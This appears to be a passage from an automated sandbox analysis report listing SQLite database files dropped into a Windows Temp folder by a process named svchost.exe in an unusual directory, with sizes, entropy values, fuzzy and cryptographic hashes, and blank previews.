                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\4u5vJa2Mzi

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\4v42e3unsS

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\4xaOMRptAm

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\5AwbqclQw7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\5GZznbtd8E

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\5IN4gLBke6

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\5RhZzqow2D

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\5kddA2q8LN

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\5qDoElWrg7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\66SOi1Y95T

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\6FgkKpMNGV

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\6OnjV4MLwx

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\6VZBlysEyt

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\71sy9okcEj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\76TxY9kvyo

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\79ZiAmFOcb

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7EJYZIDQFI

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7HU1FRJInX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7KA6DVhBXu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7NYfj2MeHw

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7QI4aAQ2X5

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7bJasFEeJG

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7jIGlhSCkj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\7nbwxYCPCU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):98304
                                                                      Entropy (8bit):0.08235737944063153
                                                                      Encrypted:false
                                                                      SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                      MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                      SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                      SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                      SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                      Malicious:false
